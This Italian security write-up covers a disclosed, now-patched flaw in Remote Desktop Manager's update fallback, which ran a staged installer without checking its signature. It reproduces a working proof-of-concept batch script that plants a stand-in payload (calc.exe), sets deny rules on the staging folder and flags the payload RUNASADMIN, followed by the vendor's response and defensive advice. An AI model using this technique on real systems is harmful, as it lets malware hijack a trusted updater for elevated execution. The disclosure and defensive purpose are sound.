Remote Desktop Manager di Devolutions presentava una debolezza nel meccanismo di aggiornamento automatico: in determinate condizioni, il software poteva eseguire un installer non verificato, riconoscendolo soltanto dal nome del file. Un attaccante già in grado di eseguire codice con privilegi utente avrebbe potuto sfruttare questo comportamento per tentare di ottenere privilegi amministrativi, previa approvazione del prompt UAC. Devolutions ha corretto il problema nella versione 2026.3.15.0, introducendo la verifica della firma digitale anche nel percorso di fallback.
Remote Desktop Manager (RDM) di Devolutions è uno degli strumenti più diffusi tra sistemisti e team IT per centralizzare connessioni RDP, SSH, VPN e le relative credenziali. Proprio per questo è un software che gira su postazioni privilegiate, quelle di chi amministra l’infrastruttura, e che gode di un’elevata fiducia: è firmato dal vendor, si aggiorna da solo e spesso compare nelle allow-list dei controlli di sicurezza.
In questo articolo racconto un’analisi che ho condotto sul suo meccanismo di aggiornamento automatico e che ho segnalato tramite il programma di bug bounty di Devolutions.
In breve, nel percorso di fallback del processo di update RDM eseguiva l’installer presente nella cartella di staging basandosi solo sul nome del file, senza verificarne firma digitale o hash.
Un processo già in esecuzione con i privilegi dell’utente standard poteva quindi piazzare un eseguibile arbitrario al posto dell’installer e farlo lanciare da RDM durante un normale ciclo di aggiornamento, eventualmente con richiesta di elevazione UAC.
Devolutions ha classificato il problema come un intervento di hardening e non come una privilege escalation, posizione che riporto più avanti per intero.
Ha comunque corretto la verifica della firma: le release notes della versione 2026.3.15.0, pubblicata il 15 ottobre 2026, indicano che l’installer scaricato viene ora verificato con la firma Devolutions prima di essere lanciato.
Quando trova una nuova versione, RDM scarica il pacchetto di installazione e lo deposita in una cartella temporanea fissa e prevedibile, specifica per l’utente: %LOCALAPPDATA%\Temp\RDMUpdate. Insieme all’installer, che prende un nome deterministico basato sulla versione (Setup.RemoteDesktopManager.<versione>.exe), nella stessa cartella viene copiato Devolutions.Updater.exe, il componente che gestisce l’installazione vera e propria.

Il processo prevede due flussi distinti. Nel flusso normale, detto install after close, è Devolutions.Updater.exe a prendere il controllo dopo la chiusura dell’applicazione: riposiziona l’installer nella cartella di staging, sovrascrivendo quello esistente, e lo esegue.
Esiste però anche un flusso di fallback dentro RemoteDesktopManager.exe: se la copia aggiornata dell’updater nella cartella di staging non riesce, RDM lancia direttamente l’installer che trova già presente con il nome atteso.
È proprio questo secondo percorso, pensato come rete di sicurezza in caso di errore, il punto debole dell’intero meccanismo.

Nel flusso principale è Devolutions.Updater.exe a scaricare l’installer e a verificarne il certificato prima di eseguirlo. Se invece l’updater non può essere copiato nella cartella di staging, RemoteDesktopManager.exe ripiega sul file già presente con il nome atteso e lo lancia senza alcun controllo. Se quel file è bloccato, nemmeno la pulizia successiva riesce a rimuoverlo.
Prima di eseguire un file in staging, l’applicazione controllava soltanto due cose: che esistesse un file con il nome atteso e che fosse possibile cancellarlo o sovrascriverlo.
Non verificava che quel file corrispondesse a quanto effettivamente scaricato, né ne controllava la firma Authenticode o l’hash. In altre parole, per RDM qualsiasi eseguibile chiamato Setup.RemoteDesktopManager.<versione>.exe era l’installer ufficiale.
La classificazione più corretta è la CWE-494 (Download of Code Without Integrity Check), affiancata dalla CWE-345 (Insufficient Verification of Data Authenticity) e dalla CWE-732 (Incorrect Permission Assignment for Critical Resource).
Quest’ultima pesa perché %LOCALAPPDATA% è interamente scrivibile dall’utente proprietario: qualunque processo in esecuzione con quell’identità, malware non privilegiato compreso, ha pieni diritti di lettura, scrittura e modifica delle ACL sui file coinvolti nei due flussi.
La piattaforma di bug bounty non prevedeva la CWE-494 tra le opzioni selezionabili, quindi il report è stato registrato sotto la CWE-434, la voce più vicina disponibile, con una nota esplicita sulla classificazione corretta.
Il punto interessante è che tutta la catena si costruisce con strumenti nativi di Windows, senza exploit di memoria né componenti esterni.
Per descriverla seguo lo script di PoC automatizzato che ho inviato a Devolutions durante la disclosure. Eseguito da una sessione utente standard e senza alcun input manuale, fa esattamente ciò che farebbe un dropper dopo aver trovato RDM sulla macchina. Il payload è calc.exe, un eseguibile innocuo che fa le veci del codice malevolo.
Lo script cerca l’eseguibile nei percorsi di installazione per utente e per macchina (e, in mancanza, nelle chiavi di registro di Devolutions), poi ne legge la versione.
if exist “%LOCALAPPDATA%\Devolutions\RemoteDesktopManager\RemoteDesktopManager.exe” (
set “RDM_EXE=%LOCALAPPDATA%\Devolutions\RemoteDesktopManager\RemoteDesktopManager.exe”
goto :rdm_found
)
if exist “%ProgramFiles%\Devolutions\Remote Desktop Manager\RemoteDesktopManager.exe” (
set “RDM_EXE=%ProgramFiles%\Devolutions\Remote Desktop Manager\RemoteDesktopManager.exe”
goto :rdm_found
)
:rdm_found
for /f “tokens=*” %%v in (‘powershell -NoProfile -Command ^
“(Get-Item ‘!RDM_EXE!’).VersionInfo.ProductVersion”‘) do set “RDM_VERSION=%%v”
Il nome dell’installer è deterministico, quindi basta conoscere la prossima versione. Lo script la legge dallo stesso feed pubblico usato dal meccanismo di aggiornamento e costruisce i percorsi.
for /f “tokens=*” %%v in (‘powershell -NoProfile -Command ^
“try { $r = Invoke-WebRequest -Uri ‘https://devolutions.net/products.htm’ -UseBasicParsing -TimeoutSec 10; if ($r.Content -match ‘RDM\.Version=([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)’) { $matches[1] } } catch { ” }”‘) do (
if not “%%v”==”” set “LATEST_VERSION=%%v”
)
set “STAGING_DIR=%LOCALAPPDATA%\Temp\RDMUpdate”
set “UPDATER_EXE=!STAGING_DIR!\Devolutions.Updater.exe”
set “PAYLOAD_PATH=!STAGING_DIR!\Setup.RemoteDesktopManager.!LATEST_VERSION!.exe”
set “ACCOUNT=%USERDOMAIN%\%USERNAME%”
Lo script verifica anche che la cartella di staging e Devolutions.Updater.exe esistano già: vengono creati al primo controllo degli aggiornamenti, quindi su una macchina in uso sono normalmente presenti.
L’eseguibile viene copiato nella cartella di staging con il nome esatto dell’installer atteso.
copy /Y “%SystemRoot%\System32\calc.exe” “!PAYLOAD_PATH!” >nul 2>&1
[Inserire Fig. 1 — La cartella di staging RDMUpdate: accanto al legittimo Devolutions.Updater.exe e al suo backup .exe_old è in coda un pacchetto di aggiornamento contraffatto, senza alcun elemento che lo distingua da una build autentica.]
Devolutions.Updater.exe viene reso di sola lettura e non cancellabile, e sulla cartella viene negata l’eliminazione di file e sottocartelle. L’updater non viene alterato: è il tentativo di RDM di copiarne una versione aggiornata a fallire in silenzio, senza interruzioni né avvisi. È questa condizione a portare RDM sul percorso di fallback.
attrib +R “!UPDATER_EXE!”
icacls “!UPDATER_EXE!” /deny “!ACCOUNT!”:(D)
icacls “!STAGING_DIR!” /deny “!ACCOUNT!”:(DC)
Al file piantato vengono tolte le ACL ereditate e lasciati all’utente solo i permessi di lettura ed esecuzione. Il flusso install after close, che normalmente sostituirebbe l’installer, non riesce a sovrascriverlo e si interrompe lasciandolo intatto.
icacls “!PAYLOAD_PATH!” /inheritance:r
icacls “!PAYLOAD_PATH!” /remove:g “!ACCOUNT!”
icacls “!PAYLOAD_PATH!” /remove:d “!ACCOUNT!”
icacls “!PAYLOAD_PATH!” /grant:r “!ACCOUNT!”:(RX)
L’ultimo passaggio imposta sul payload il flag di compatibilità “Esegui come amministratore”. Il valore viene scritto in una chiave per utente, quindi non servono diritti amministrativi.
set “COMPAT_KEY=HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers”
reg add “!COMPAT_KEY!” /v “!PAYLOAD_PATH!” /t REG_SZ /d “~ RUNASADMIN” /f
A questo punto lo script ha finito e non resta che aspettare.
Al successivo ciclo di aggiornamento, automatico o avviato dall’utente da Help > Check for Updates, il refresh dell’updater fallisce e RemoteDesktopManager.exe lancia direttamente il file in staging, riconosciuto solo dal nome.

Windows mostra il prompt UAC nel contesto di quello che sembra un normale aggiornamento: se l’utente lo approva, calc.exe parte con privilegi di amministratore.

Il prerequisito è un’esecuzione di codice locale non privilegiata: un processo già attivo con i diritti dell’utente standard. È lo stesso punto di partenza di praticamente ogni privilege escalation locale su Windows. Il primo accesso può arrivare da un documento malevolo, da un exploit del browser o da un dropper eseguito per errore, ed è del tutto indipendente da RDM.
Lo scenario realistico è questo. Un malware già presente sulla macchina enumera il software installato e, quando trova RDM, prepara in silenzio la cartella di staging. Poi aspetta. Non deve fare altro, perché sarà il normale ciclo di aggiornamento a lanciare il payload, e il prompt UAC comparirà nel contesto di quello che per l’utente è un update di routine di un software fidato. La differenza, però, è visibile nel prompt stesso. Un installer autentico mostra «Autore verificato: Devolutions Inc.», mentre il payload piantato compare con «Autore: Sconosciuto», come si vede nella schermata del test riportata sopra. Chi legge con attenzione il campo dell’editore può accorgersene; il rischio concreto riguarda chi approva gli aggiornamenti per abitudine, senza leggerlo.
Le conseguenze si muovono su più piani:
Per valutarne la gravità senza esagerarla bisogna tenere presenti due elementi: serve codice già in esecuzione sulla macchina e l’elevazione passa dal consenso dell’utente al prompt UAC. È su questo secondo punto che si concentra la posizione del vendor.
La catena descritta sopra è interamente locale, ma vale la pena chiedersi se il meccanismo di aggiornamento sia attaccabile anche a monte, dalla rete, come nel caso di Notepad++. Ho quindi provato a forzare il client a fidarsi di una risposta di aggiornamento controllata da un attaccante in posizione di man-in-the-middle, per capire fin dove si spinge quella fiducia.
Il test è stato condotto in un laboratorio isolato in virtualizzazione: una VM Kali con Burp Suite come proxy intercettante e una VM Windows 11 con RDM instradato attraverso il proxy, tutto su rete interna e senza coinvolgere sistemi di terzi. La procedura si è articolata in quattro passaggi:
L’intercettazione TLS è riuscita: grazie alla CA installata, il client accettava il certificato presentato da Burp e le richieste raggiungevano il server dell’attaccante. Dopo aver corretto un errore iniziale nel formato di products.htm, RDM ha accettato il feed manipolato: ha presentato come disponibile la versione indicata dall’attaccante e ha caricato nella finestra di aggiornamento il contenuto servito dal server civetta, compresa la pagina delle novità (RdmChangeHistoryUpdate.htm), che nel test riportava la scritta HACKED!.

Per seguire l’intero ciclo di vita dell’aggiornamento ho poi dirottato anche il download: il pacchetto Setup.RemoteDesktopManager.2026.3.15.0.msi richiesto dal client veniva servito dal server civetta, e Devolutions.Updater.exe lo ha scaricato regolarmente. Al momento dell’installazione, però, l’updater ha verificato il certificato del pacchetto e ha interrotto la procedura con un errore Invalid certificate.
Il risultato chiarisce dove si trova davvero il problema. Nel flusso principale Devolutions.Updater.exe verifica già il certificato del pacchetto di aggiornamento, quindi un installer servito da un attaccante on-path viene rifiutato.

Manipolare il feed permette al massimo di annunciare una versione o di alterare il contenuto mostrato nella finestra di aggiornamento, ma non di arrivare all’esecuzione di codice.
La verifica mancava solo nel percorso di fallback: quando l’updater non riesce a essere copiato in %LOCALAPPDATA%\Temp\RDMUpdate, RemoteDesktopManager.exe lancia direttamente il file già presente in staging, se il suo nome corrisponde a quello dell’ultima versione indicata nel manifest.
In pratica uno scenario MitM non è sfruttabile: dalla rete il controllo del certificato nell’updater regge. Resta l’attacco locale descritto sopra, che sfrutta proprio il fallback per aggirare il componente che esegue la verifica. È un test negativo, ma utile, perché delimita con precisione il perimetro del problema e spiega perché la correzione andava applicata al percorso di fallback e non al canale di rete.
Ho inviato il report il 5 agosto 2026 tramite il programma di bug bounty di Devolutions, con descrizione, PoC, figure e un video della catena completa.
In seguito l’ho integrato con uno script di PoC automatizzato e un secondo video, che mostra l’intera sequenza da una sessione standard fino all’esecuzione elevata del payload.
Il report è stato chiuso con stato RTFS (Read The Fine Scope). Dopo il riesame del proprio team di application security, Devolutions ha scelto di non trattare il caso come una vulnerabilità ma come un intervento di hardening.
Secondo Devolutions non si tratta di una privilege escalation. Ogni passaggio della catena viene eseguito come lo stesso utente standard, e l’elevazione arriva solo se l’utente approva un prompt UAC che l’attaccante ha predisposto senza alcun contributo di RDM. Un malware già in esecuzione con quei privilegi potrebbe mostrare lo stesso prompt direttamente: RDM, quindi, non concede alcun privilegio che l’attaccante non avesse già.
La mia lettura è in parte diversa, e l’ho espressa nello scambio con il vendor. Al di là del contesto UAC, il cuore della questione è che un componente fidato come il flusso di aggiornamento eseguiva codice non verificato. Nella mia esperienza nella community, molti bug hunter considererebbero questo scenario una vulnerabilità. La classificazione finale spetta comunque al vendor, e trovo corretto riportare la sua posizione per esteso.
Al di là della classificazione, Devolutions ha riconosciuto la mancata verifica della firma sul percorso di fallback e ne ha avviato la correzione. Ho poi ricevuto il permesso per la divulgazione pubblica di questo write-up.
Il 15 ottobre 2026 Devolutions ha rilasciato RDM 2026.3.15.0. Tra i miglioramenti elencati nelle release notes compare il rafforzamento della sicurezza degli aggiornamenti, ottenuto verificando la firma Devolutions dell’installer scaricato prima di avviarlo.

Verificare la correzione non era immediato. Il percorso di fallback si attiva solo quando il feed indica una versione più recente di quella installata, quindi con la 2026.3.15.0 già in uso non c’era alcun aggiornamento da innescare.
Per aggirare il problema ho riutilizzato in laboratorio l’ambiente del test di man-in-the-middle: il products.htm servito dal server civetta annunciava una versione 2026.3.16.0 inesistente, così RDM avviava il ciclo di aggiornamento.

Su questa base ho rilanciato lo script di PoC sulla 2026.3.15.0. Lo script ha individuato l’installazione e ricavato dal feed il nome atteso, Setup.RemoteDesktopManager.2026.3.16.0.exe. Ha poi piazzato il payload nella cartella di staging e bloccato sia l’updater sia il file.
Quando RDM ha ripiegato sul file in staging, però, non lo ha eseguito: ha interrotto la procedura con l’errore Impossibile verificare la firma digitale. La correzione copre quindi anche il percorso di fallback, e il file non firmato da Devolutions non viene più lanciato.

Il consiglio pratico resta comunque lo stesso: chi usa RDM aggiorni almeno alla 2026.3.15.0.
Per chi sviluppa un meccanismo di aggiornamento, la regola è semplice: ogni file va verificato a ogni tentativo, non solo quando è stato appena scaricato.
Firma Authenticode, catena di certificati e soggetto atteso devono essere confermati prima dell’esecuzione, e qualsiasi errore deve interrompere l’aggiornamento invece di ripiegare su ciò che si trova già su disco.
Come difesa in profondità, conviene usare per lo staging nomi o sottocartelle non prevedibili, ad esempio un GUID casuale, al posto di nomi derivati dalla versione. Un file preesistente e non cancellabile nel percorso di staging, poi, non dovrebbe mai comparire durante il normale funzionamento: è già di per sé un indicatore di manomissione e andrebbe registrato e segnalato. Più in generale, la stessa verifica va applicata a ogni componente che installa o esegue codice scaricato, non solo al flusso principale.
Per chi difende, il caso offre qualche spunto di detection che va oltre RDM. Le voci RUNASADMIN in HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers che puntano a eseguibili in cartelle temporanee sono un segnale anomalo. Lo stesso vale per le regole ACL di tipo deny applicate dall’utente stesso a file nelle cartelle di update delle applicazioni.
Più in generale, conviene non dare per scontata la fiducia nell’albero di processi di un software solo perché è firmato: è proprio quella fiducia che una catena come questa sfrutta.
Il percorso di fallback di un updater è codice che gira raramente, che pochi testano e che proprio per questo tende a restare indietro rispetto al flusso principale.
In questo caso bastava un file con il nome giusto per farsi eseguire da un’applicazione fidata.
La discussione sulla classificazione resta aperta, ma il dato concreto è che il controllo di firma ora c’è, e che è arrivato da una segnalazione responsabile.
Sono aperte le iscrizioni al corso in Live Class “AGENTIC AI CYBER OPERATIONS (AACO)”. La cybersecurity sta entrando nell'era degli AI Agent: sistemi capaci di ragionare, utilizzare strumenti, orchestrare attività e portare avanti operazioni complesse. Ma come funzionano davvero dal punto di vista tecnico? Con AACO, Red Hot Cyber porta i professionisti della cybersecurity a toccare con mano gli strumenti agentici, attraverso una Live Class in italiano con 15 ore di formazione, laboratori pratici e scenari reali. Agentic AI, Tool Calling, MCP, orchestrazione di agenti, OSINT, Threat Intelligence, vulnerability assessment e automazione delle operazioni di cybersecurity. Non un corso per imparare a usare un chatbot, ma un percorso per capire, costruire e governare sistemi agentici applicati alla sicurezza informatica.
Partenza: Sabato 7 novembre
Programma completo e iscrizioni: https://www.redhotcyber.com/linksSk2L/academy-agentic-ai
Per info: 379 163 8765 [email protected]